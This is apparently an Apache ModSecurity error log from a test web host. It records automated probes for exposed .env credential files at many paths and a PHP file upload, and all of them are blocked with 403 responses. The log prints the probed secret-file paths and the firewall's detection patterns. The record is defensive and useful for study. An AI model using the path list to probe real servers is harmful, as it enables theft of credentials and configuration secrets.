[Fri Mar 20 16:14:06.665560 2026] [:error] [pid 2828207] [client 172.70.251.224:10068] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "ab1kPvkV6goaBnyo2bg0kgAAABM"]
[Fri Mar 20 16:14:06.665697 2026] [:error] [pid 2828207] [client 172.70.251.224:10068] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "ab1kPvkV6goaBnyo2bg0kgAAABM"]
[Fri Mar 20 16:14:06.680168 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /srv/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/srv/.env"] [unique_id "ab1kPjQ9Th-2Y9b0JRd10AAAAAE"]
[Fri Mar 20 16:14:06.680289 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/srv/.env"] [unique_id "ab1kPjQ9Th-2Y9b0JRd10AAAAAE"]
[Fri Mar 20 16:14:06.680417 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/srv/.env"] [unique_id "ab1kPjQ9Th-2Y9b0JRd10AAAAAE"]
[Fri Mar 20 16:14:06.681248 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "ab1kPpJiwBXnNifSr5vevQAAAAQ"]
[Fri Mar 20 16:14:06.681342 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "ab1kPpJiwBXnNifSr5vevQAAAAQ"]
[Fri Mar 20 16:14:06.681451 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "ab1kPpJiwBXnNifSr5vevQAAAAQ"]
[Fri Mar 20 16:14:06.682455 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "ab1kPgp0GbmkUAUfOtfnogAAAAo"]
[Fri Mar 20 16:14:06.682578 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "ab1kPgp0GbmkUAUfOtfnogAAAAo"]
[Fri Mar 20 16:14:06.682728 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "ab1kPgp0GbmkUAUfOtfnogAAAAo"]
[Fri Mar 20 16:14:06.724668 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "ab1kPv9i5ZHhQgdGB68gMgAAAAg"]
[Fri Mar 20 16:14:06.724793 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "ab1kPv9i5ZHhQgdGB68gMgAAAAg"]
[Fri Mar 20 16:14:06.724902 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "ab1kPv9i5ZHhQgdGB68gMgAAAAg"]
[Fri Mar 20 16:14:06.726575 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "ab1kPm808gcmd_Zzq_-pDQAAABI"]
[Fri Mar 20 16:14:06.726676 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "ab1kPm808gcmd_Zzq_-pDQAAABI"]
[Fri Mar 20 16:14:06.726787 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "ab1kPm808gcmd_Zzq_-pDQAAABI"]
[Fri Mar 20 16:14:06.729498 2026] [authz_core:error] [pid 2817640] [client 172.70.251.224:10067] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/www
[Fri Mar 20 16:14:06.730368 2026] [authz_core:error] [pid 2828199] [client 172.70.251.223:12985] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/www
[Fri Mar 20 16:14:06.736456 2026] [:error] [pid 2828207] [client 172.70.251.224:10068] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /home/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/.env"] [unique_id "ab1kPvkV6goaBnyo2bg0kwAAABM"]
[Fri Mar 20 16:14:06.736569 2026] [:error] [pid 2828207] [client 172.70.251.224:10068] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/.env"] [unique_id "ab1kPvkV6goaBnyo2bg0kwAAABM"]
[Fri Mar 20 16:14:06.736687 2026] [:error] [pid 2828207] [client 172.70.251.224:10068] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/.env"] [unique_id "ab1kPvkV6goaBnyo2bg0kwAAABM"]
[Fri Mar 20 16:14:06.746209 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.env"] [unique_id "ab1kPgp0GbmkUAUfOtfnowAAAAo"]
[Fri Mar 20 16:14:06.746271 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_secret"] [unique_id "ab1kPknH70iMTzyPh3kWoAAAAAY"]
[Fri Mar 20 16:14:06.746322 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.env"] [unique_id "ab1kPgp0GbmkUAUfOtfnowAAAAo"]
[Fri Mar 20 16:14:06.746465 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.env"] [unique_id "ab1kPgp0GbmkUAUfOtfnowAAAAo"]
[Fri Mar 20 16:14:06.746483 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_secret"] [unique_id "ab1kPknH70iMTzyPh3kWoAAAAAY"]
[Fri Mar 20 16:14:06.746607 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_secret"] [unique_id "ab1kPknH70iMTzyPh3kWoAAAAAY"]
[Fri Mar 20 16:14:06.748551 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_config"] [unique_id "ab1kPmLvrbuE12wYiLe4RAAAABA"]
[Fri Mar 20 16:14:06.748647 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_config"] [unique_id "ab1kPmLvrbuE12wYiLe4RAAAABA"]
[Fri Mar 20 16:14:06.748761 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_config"] [unique_id "ab1kPmLvrbuE12wYiLe4RAAAABA"]
[Fri Mar 20 16:14:06.753741 2026] [:error] [pid 2828198] [client 172.70.251.170:11853] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_settings"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_settings"] [unique_id "ab1kPsksTLMF-0nJGdZb_AAAAAM"]
[Fri Mar 20 16:14:06.753844 2026] [:error] [pid 2828198] [client 172.70.251.170:11853] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_settings"] [unique_id "ab1kPsksTLMF-0nJGdZb_AAAAAM"]
[Fri Mar 20 16:14:06.753960 2026] [:error] [pid 2828198] [client 172.70.251.170:11853] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_settings"] [unique_id "ab1kPsksTLMF-0nJGdZb_AAAAAM"]
[Fri Mar 20 16:14:06.754607 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local.backup"] [unique_id "ab1kPvy1_WiwY9KfWu_41QAAAAI"]
[Fri Mar 20 16:14:06.754755 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local.backup"] [unique_id "ab1kPvy1_WiwY9KfWu_41QAAAAI"]
[Fri Mar 20 16:14:06.754848 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local.backup"] [unique_id "ab1kPvy1_WiwY9KfWu_41QAAAAI"]
[Fri Mar 20 16:14:06.754956 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local.backup"] [unique_id "ab1kPvy1_WiwY9KfWu_41QAAAAI"]
[Mon Mar 23 03:33:40.005771 2026] [:error] [pid 2882107] [client 156.254.127.253:53465] [client 156.254.127.253] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "109"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: txets.php found within FILES:file: txets.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acCmhG2gCV-h0XnDupuT6QAAAAA"]
[Mon Mar 23 03:33:40.006160 2026] [:error] [pid 2882107] [client 156.254.127.253:53465] [client 156.254.127.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acCmhG2gCV-h0XnDupuT6QAAAAA"]
[Mon Mar 23 03:33:40.006318 2026] [:error] [pid 2882107] [client 156.254.127.253:53465] [client 156.254.127.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "acCmhG2gCV-h0XnDupuT6QAAAAA"]
